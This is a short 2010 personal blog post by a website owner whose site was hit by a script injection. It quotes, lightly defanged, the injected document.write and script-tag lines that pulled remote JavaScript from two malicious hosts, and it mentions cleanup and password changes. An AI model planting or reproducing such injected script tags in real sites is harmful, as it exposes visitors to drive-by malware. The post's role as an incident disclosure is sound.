Wednesday, June 23, 2010

what a better reason for setting up a blog than a trojan ...

Yesterday morning, a trojan hit my www.taekwondo.org.il web site
and added a trojan that takes a javascript from this domain:

http://foxy .divarug . com:8080/Hardware.js

(added spaces intentionally)


and adds to js files this:




document.write('src="http://foxy . divarug . com:8080/Hardware.js">');



OR
to index.html adds:

[script] type="text/javascript" src="http://oployau . fancountblogger . com:8080/Debugger.js">[/script]



(used '[' instead of '<' - because blogger won't let me)


these pages were detected as an infected web site by Avast !

(I intentionally put spaces in the addresses so the page won't be blocked by lame site blockers)
now I have to go change all the pws and fix all the web site files again :\

No comments:

Post a Comment

Feel free to comment. No links/URLs allowed in comments.